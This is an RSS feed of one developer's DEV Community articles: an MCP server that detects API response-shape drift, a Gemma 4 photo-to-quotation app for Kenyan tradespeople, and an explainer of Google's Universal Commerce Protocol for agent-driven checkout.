<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Lewis Sawe</title>
    <description>The latest articles on DEV Community by Lewis Sawe (@lewisawe).</description>
    <link>https://dev.to/lewisawe</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1061372%2F66521ce2-043c-4326-a061-54645ed0f31c.png</url>
      <title>DEV Community: Lewis Sawe</title>
      <link>https://dev.to/lewisawe</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lewisawe"/>
    <language>en</language>
    <item>
      <title>I taught Hermes Agent to predict which API changes will break my system</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 31 May 2026 17:30:59 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-taught-hermes-agent-to-predict-which-api-changes-will-break-my-system-558f</link>
      <guid>https://dev.to/lewisawe/i-taught-hermes-agent-to-predict-which-api-changes-will-break-my-system-558f</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hermes-agent-2026-05-15"&gt;Hermes Agent Challenge&lt;/a&gt;: Build With Hermes Agent&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Drift Detective is an MCP server that turns Hermes Agent into an API contract mutation tracker. It probes your microservices on a cron schedule, stores response shapes (fields, types, nesting depth), and classifies changes when they happen: additive, breaking, or cosmetic.&lt;/p&gt;

&lt;p&gt;The interesting part: it learns. After you mark a few changes as "safe" or "breaking," it starts predicting. Week one it's noisy. Week three it knows that your payments service adding nullable fields is always fine, but your auth service changing any field name will break downstream consumers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/Tzjd5ArOpiA"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;The demo runs against a local API server with four mutation stages:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 1 (baseline):&lt;/strong&gt; Agent records the shape of &lt;code&gt;/api/users&lt;/code&gt;, &lt;code&gt;/api/payments&lt;/code&gt;, &lt;code&gt;/api/health&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 2 (additive change):&lt;/strong&gt; New fields appear. Agent flags them as low-urgency additive drift. I mark them "safe."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 3 (breaking change):&lt;/strong&gt; Fields get renamed and removed. Agent flags these as high-urgency breaking drift. I mark them "breaking."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 4 (prediction fires):&lt;/strong&gt; More fields get removed. This time the agent predicts "likely breaking" before I say anything. It recognized the removal pattern from my stage 3 feedback.&lt;/p&gt;

&lt;p&gt;After a few interactions the alert quality is visibly different from probe 1. That's the whole point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/drift-detective" rel="noopener noreferrer"&gt;
        drift-detective
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Drift Detective&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;API contract mutation tracker that learns what breaks things.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Drift Detective probes your APIs on a schedule, stores response shapes, detects structural changes, and classifies them. It learns YOUR system's patterns from your feedback. Alerts get smarter, not noisier.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;What It Does&lt;/h2&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Probes&lt;/strong&gt; API endpoints, extracts JSON response shape (field names, types, nesting)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detects&lt;/strong&gt; shape changes between probes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Classifies&lt;/strong&gt; changes: additive (new field) or breaking (removed/renamed/type-changed)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learns&lt;/strong&gt; from your feedback. Mark changes as "safe" or "breaking" and it remembers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predicts&lt;/strong&gt; future changes using accumulated knowledge&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Hermes Features Used&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;How&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MCP Server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Custom stdio server providing probe/classify/learn tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cron Scheduler&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Periodic endpoint probing, no manual intervention&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Persistent Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Endpoints, shapes, and learned patterns survive across sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Learning Loop / Skills&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Writes skill docs about your system's change patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AGENTS.md Context&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defines alert behavior and classification rules&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Demo Walkthrough&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;1. Start the demo API&lt;/h3&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;python demo/api_server.py&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Local API with…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/drift-detective" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  My Tech Stack
&lt;/h3&gt;

&lt;p&gt;Drift Detective's stack:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python 3.11+ (runtime)&lt;/li&gt;
&lt;li&gt;MCP SDK (mcp&amp;gt;=1.0.0) for the stdio server protocol&lt;/li&gt;
&lt;li&gt;httpx for probing API endpoints&lt;/li&gt;
&lt;li&gt;SQLite for persistence (shapes, history, learned patterns)&lt;/li&gt;
&lt;li&gt;Hermes Agent as the orchestrator (MCP client, cron, memory)&lt;/li&gt;
&lt;li&gt;Demo API: stdlib http.server (no dependencies)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How I Used Hermes Agent
&lt;/h2&gt;

&lt;p&gt;This isn't a wrapper that calls the LLM once. Five Hermes capabilities do actual work here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MCP Server (custom stdio):&lt;/strong&gt; The core engine. Five tools: &lt;code&gt;probe_endpoint&lt;/code&gt;, &lt;code&gt;list_endpoints&lt;/code&gt;, &lt;code&gt;get_drift_history&lt;/code&gt;, &lt;code&gt;record_verdict&lt;/code&gt;, &lt;code&gt;get_learned_patterns&lt;/code&gt;. All state lives in SQLite. The agent reasons about when and how to call them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cron Scheduler:&lt;/strong&gt; Fires every 30 minutes (configurable). The agent probes all registered endpoints, compares shapes, and delivers a report to Telegram/Discord/wherever you talk to it. No human in the loop for routine checks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Persistent Memory:&lt;/strong&gt; Endpoint registry, shape history, and learned patterns survive across sessions. The agent picks up where it left off even after a restart.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning Loop / Skills:&lt;/strong&gt; When the agent accumulates enough feedback, it writes a skill document describing your system's change patterns. That skill loads into future sessions, giving the agent prior context before it even runs a probe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AGENTS.md Context:&lt;/strong&gt; Defines classification rules, alert urgency levels, and when to include predictions vs. ask for feedback. Shapes the agent's behavior without touching code.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Works (Technical)
&lt;/h2&gt;

&lt;p&gt;The MCP server extracts a structural "shape" from any JSON response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alice&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$.total         → integer
$.users[]       → array
$.users[].id    → integer  
$.users[].name  → string
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a shape changes, the diff engine classifies each field-level change:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New field added → &lt;code&gt;additive&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Field removed or renamed → &lt;code&gt;breaking&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Type changed (string→integer) → &lt;code&gt;breaking&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The learning system stores verdicts keyed by endpoint + change category. After one verdict for a pattern, predictions fire on the next similar change. It generalizes: if "removed field: name" was breaking, then "removed field: email" on the same endpoint gets the same prediction. The patterns are simple and domain-specific, so one data point is enough to be useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd Build Next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Webhook mode: listen for deploy events from CI/CD, probe immediately after deploys&lt;/li&gt;
&lt;li&gt;Consumer registry: know which downstream services depend on which fields, route alerts accordingly&lt;/li&gt;
&lt;li&gt;Schema diffing beyond JSON: gRPC protobuf changes, GraphQL schema introspection&lt;/li&gt;
&lt;li&gt;Multi-endpoint correlation: "every time auth-service changes, payments-service breaks 2 hours later"&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/lewisawe/drift-detective" rel="noopener noreferrer"&gt;GitHub link&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;drift-detective/
├── mcp_server/server.py          # MCP server with probe/classify/learn tools
├── demo/api_server.py            # Mutable demo API
├── skills/drift-detective-patterns.md
├── AGENTS.md
└── pyproject.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install: &lt;code&gt;pip install -e .&lt;/code&gt;, add the MCP config to &lt;code&gt;~/.hermes/config.yaml&lt;/code&gt;, done.&lt;/p&gt;

</description>
      <category>hermesagentchallenge</category>
      <category>devchallenge</category>
      <category>agents</category>
    </item>
    <item>
      <title>I Built a Quotation Generator for Kenyan Street Welders Using Gemma 4's Vision</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 24 May 2026 23:11:19 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-built-a-quotation-generator-for-kenyan-street-welders-using-gemma-4s-vision-2eb5</link>
      <guid>https://dev.to/lewisawe/i-built-a-quotation-generator-for-kenyan-street-welders-using-gemma-4s-vision-2eb5</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-gemma-2026-05-06"&gt;Gemma 4 Challenge: Build with Gemma 4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;A customer walks up to a welder in Nairobi with a Pinterest screenshot. "I want this gate. How much?"&lt;/p&gt;

&lt;p&gt;The welder squints at the phone. Does mental math. Guesses a number. Scribbles it on a scrap of cardboard. No material breakdown. No line items. The customer walks away and finds someone who looks more professional.&lt;/p&gt;

&lt;p&gt;This happens thousands of times a day across Kenya's jua kali sector. "Jua kali" translates to "hot sun." It's what we call the 15 million informal artisans who build gates, furniture, window frames, and cabinets outdoors. They're skilled fabricators who lose work because they can't produce a quote on the spot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jua Kali Quote&lt;/strong&gt; fixes this. Photograph whatever the customer shows you: a sketch on paper, a screenshot from Instagram, a photo of their neighbor's gate. Gemma 4 looks at the image, figures out what needs to be built, and generates a full quotation with materials, quantities, and pricing in Kenyan Shillings.&lt;/p&gt;

&lt;p&gt;The fundi taps any line item to adjust a price they know better. The totals recalculate live. They hit "Share on WhatsApp," and the customer has a professional quote in their chat. The whole interaction takes under a minute.&lt;/p&gt;

&lt;p&gt;Every quote is saved locally, so the fundi builds a history of past jobs they can reference for repeat customers or similar work.&lt;/p&gt;

&lt;p&gt;A confidence indicator tells them upfront: "materials ±15%, labor ±20%." Honest about what's an estimate and what's exact.&lt;/p&gt;

&lt;p&gt;It handles welding, carpentry, masonry, plumbing, electrical, and painting jobs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/nEMibjCr4Ok"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/jua-kali" rel="noopener noreferrer"&gt;
        jua-kali
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Jua Kali Quote&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;AI-powered quotation generator for Kenyan artisans (fundis). Upload a photo of a sketch, Pinterest screenshot, or reference image and get a professional quotation with materials, labor, and pricing in KES.&lt;/p&gt;
&lt;p&gt;Built with Gemma 4 26B A4B (MoE) via Google AI Studio.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Setup&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;python3 -m venv venv
&lt;span class="pl-c1"&gt;source&lt;/span&gt; venv/bin/activate
pip install -r requirements.txt&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Copy &lt;code&gt;.env.example&lt;/code&gt; to &lt;code&gt;.env&lt;/code&gt; and add your Google AI Studio API key:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;cp .env.example .env&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Get a free API key at &lt;a href="https://aistudio.google.com/apikey" rel="nofollow noopener noreferrer"&gt;https://aistudio.google.com/apikey&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Run&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c1"&gt;source&lt;/span&gt; venv/bin/activate
uvicorn main:app --host 0.0.0.0 --port 8000&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Open &lt;a href="http://localhost:8000" rel="nofollow noopener noreferrer"&gt;http://localhost:8000&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How it works&lt;/h2&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Upload a photo (sketch, Pinterest screenshot, catalog image, existing item)&lt;/li&gt;
&lt;li&gt;Select the trade (welding, carpentry, masonry, etc.)&lt;/li&gt;
&lt;li&gt;Gemma 4 analyzes the image and generates a structured quotation&lt;/li&gt;
&lt;li&gt;Edit any line item price if needed&lt;/li&gt;
&lt;li&gt;Share via WhatsApp or print as PDF&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Stack&lt;/h2&gt;

&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Python + FastAPI&lt;/li&gt;
&lt;li&gt;Gemma 4 26B A4B IT (Google AI Studio API)&lt;/li&gt;
&lt;li&gt;Vanilla HTML/CSS/JS (mobile-first)&lt;/li&gt;
&lt;li&gt;localStorage for…&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/jua-kali" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Used Gemma 4
&lt;/h2&gt;

&lt;p&gt;I went with &lt;strong&gt;Gemma 4 26B A4B&lt;/strong&gt;, the Mixture-of-Experts variant. Three reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vision that understands intent, not just pixels.&lt;/strong&gt; The model doesn't just see "a rectangle with vertical lines." It recognizes that's a gate design with panels, estimates it at roughly 12 feet wide, and knows that means four hinges, not two. It reads hand-drawn sketches and blurry phone screenshots equally well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reasoning that produces consistent numbers.&lt;/strong&gt; This isn't image captioning. The model estimates material quantities, looks up realistic Kenyan prices (square tubes at KES 3,500, electrodes at KES 1,500, fundi day rate at KES 1,200), then adds everything up correctly. The grand total actually matches the sum of its parts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MoE efficiency for real-world speed.&lt;/strong&gt; 26B total parameters, but only 3.8B active per token. A fundi standing in front of a customer doesn't want to wait 30 seconds. The MoE architecture gives near-31B quality while keeping response times practical on a mobile connection.&lt;/p&gt;

&lt;p&gt;The technical setup is minimal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Photo upload → FastAPI backend → Gemma 4 (Google AI Studio API)
→ Structured JSON response → Rendered quotation → PDF or WhatsApp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system prompt tells Gemma 4 to act as a Kenyan construction estimator with current market prices. No RAG, no database of prices, no fine-tuning. The base model already knows enough about Kenyan hardware stores to produce quotations that a real fundi would look at and say "yeah, that's about right."&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemmachallenge</category>
      <category>gemma</category>
    </item>
    <item>
      <title>How Does an AI Agent Actually Buy Something? Google Just Published the Spec.</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 24 May 2026 19:22:09 +0000</pubDate>
      <link>https://dev.to/lewisawe/how-does-an-ai-agent-actually-buy-something-google-just-published-the-spec-4pb0</link>
      <guid>https://dev.to/lewisawe/how-does-an-ai-agent-actually-buy-something-google-just-published-the-spec-4pb0</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-io-writing-2026-05-19"&gt;Google I/O Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Google I/O 2026 said the word "agent" more than any other noun across both keynotes. Agents that code. Agents that research. Agents that plan your day. The dev community wrote about Antigravity, Gemini Spark, managed agents, agentic search.&lt;/p&gt;

&lt;p&gt;But here's what nobody asked: how does an AI agent actually buy something?&lt;/p&gt;

&lt;p&gt;Not "recommend a product." Not "show a link." Actually complete a purchase. Add to cart, select shipping, pay, confirm. On behalf of a human, talking to a merchant's backend, without ever loading a webpage.&lt;/p&gt;

&lt;p&gt;Google shipped the answer at I/O. It's called the Universal Commerce Protocol. Almost nobody in the developer community noticed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem UCP solves
&lt;/h2&gt;

&lt;p&gt;Today, when you ask an AI assistant to buy you running shoes, it shows you a link. You click it. You land on a website. You add to cart, enter your address, fumble with Google Pay, and check out yourself. The "agent" was just a search engine with better grammar.&lt;/p&gt;

&lt;p&gt;That's not agentic commerce. That's a recommendation engine.&lt;/p&gt;

&lt;p&gt;Real agentic commerce means the agent talks directly to the merchant's system, builds a cart, applies shipping, and completes the transaction. No browser. No webpage. No human clicking through a checkout flow.&lt;/p&gt;

&lt;p&gt;The blocker was always: there's no standard way for an AI agent to interact with a store programmatically. Every store has a different checkout API (if they have one at all). Most stores don't have one. They have HTML forms.&lt;/p&gt;

&lt;p&gt;UCP fixes this. It's a REST API specification that turns any online store into a service an AI agent can call.&lt;/p&gt;

&lt;h2&gt;
  
  
  What UCP actually is
&lt;/h2&gt;

&lt;p&gt;Universal Commerce Protocol is an open standard, &lt;a href="https://github.com/Universal-Commerce-Protocol/ucp" rel="noopener noreferrer"&gt;open-source on GitHub&lt;/a&gt;, co-designed by Google and Shopify. It defines how AI agents discover products, build carts, handle shipping, and complete checkout.&lt;/p&gt;

&lt;p&gt;It's already live. If you use AI Mode in Google Search (which crossed 1 billion monthly users at I/O), you've seen UCP-powered "Buy on Google" buttons. Those aren't just links. They're agent-initiated checkout sessions running over this protocol.&lt;/p&gt;

&lt;p&gt;The three-sentence version: A merchant implements three REST endpoints. Google's agent (or any agent) calls them to create, update, and complete checkout sessions. The merchant stays in control of pricing, inventory, and fulfillment. The agent never touches payment credentials.&lt;/p&gt;

&lt;h2&gt;
  
  
  The checkout flow, step by step
&lt;/h2&gt;

&lt;p&gt;Here's how a purchase works when Gemini Spark (Google's personal agent) buys shoes for you:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Agent builds the session.&lt;/strong&gt;&lt;br&gt;
The agent calls &lt;code&gt;POST /checkout-sessions&lt;/code&gt; with the product IDs and a partial shipping address (city, state, zip). The merchant responds with prices, tax estimates, and shipping options.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"line_items"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"item"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"product_12345"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"quantity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"fulfillment"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"methods"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shipping"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"destinations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"address_locality"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Sunnyvale"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"address_region"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"postal_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"94089"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"address_country"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"US"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. User reviews in a Google UI.&lt;/strong&gt;&lt;br&gt;
The agent hands control to a Google-rendered checkout page. The user sees the items, total, and shipping options. They select a payment method (Google Pay). The agent is not involved in this step. It never sees the credit card.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Google completes the session.&lt;/strong&gt;&lt;br&gt;
Once the user taps "Pay with GPay," Google calls &lt;code&gt;POST /checkout-sessions/{id}/complete&lt;/code&gt; with the tokenized payment credential. The merchant processes the charge and returns an order confirmation.&lt;/p&gt;

